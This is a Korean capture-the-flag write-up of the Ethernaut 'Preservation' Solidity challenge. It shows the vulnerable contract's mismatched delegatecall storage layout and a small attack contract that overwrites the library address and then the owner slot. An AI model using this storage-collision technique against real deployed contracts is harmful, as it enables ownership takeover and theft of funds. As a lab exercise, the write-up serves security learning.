// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
이 문제는 delegatecall
을 함부로 사용하면 안되는 것을 알려준다. Delegation 문제에서 설명했듯이 delegatecall
은 호출한 컨트렉트의 storage에 데이터가 작성되는데 이때 변수명으로 판단하여 작성되는 것이 아니라 storage slot으로 접근하여 작성하게 된다.
setFirstTime
과 setSecondTime
을 살펴보면 setTime(uint256)
을 호출하는 delegatecall
을 진행하는데 컨트렉트 작성자의 의도대로 storedTime
에 작성되는 것이 아니라 slot 순서대로 작성되기 때문에 LibraryContract에는 storedTime
이 slot number 0이기 때문에 timeZone1Library
에 데이터가 덮어씌워질 것이다. 그렇게 되면 controlflow를 가져올 수 있게 되고, 우리의 목적인 owner
는 slot number 2이기 때문에 slot number 2를 덮어씌울 수 있게 setTime(uint256)
을 구현하면 될 것이다.
다음과 같은 페이로드 컨트렉트를 작성하였다.
contract attack {
address a;
address b;
address write_owner;
function setTime(uint _time) public {
write_owner = tx.origin;
}
}
이 컨트렉트를 체인에 올리고 이 주소를 timeZone1Library
에 덮어씌웠다. 이후 setFirstTime
함수를 호출하면 내 의도대로 구현된 setTime(uint256)
이 호출되어 owner
를 tx.origin
으로 덮어씌울 수 있게 되었다.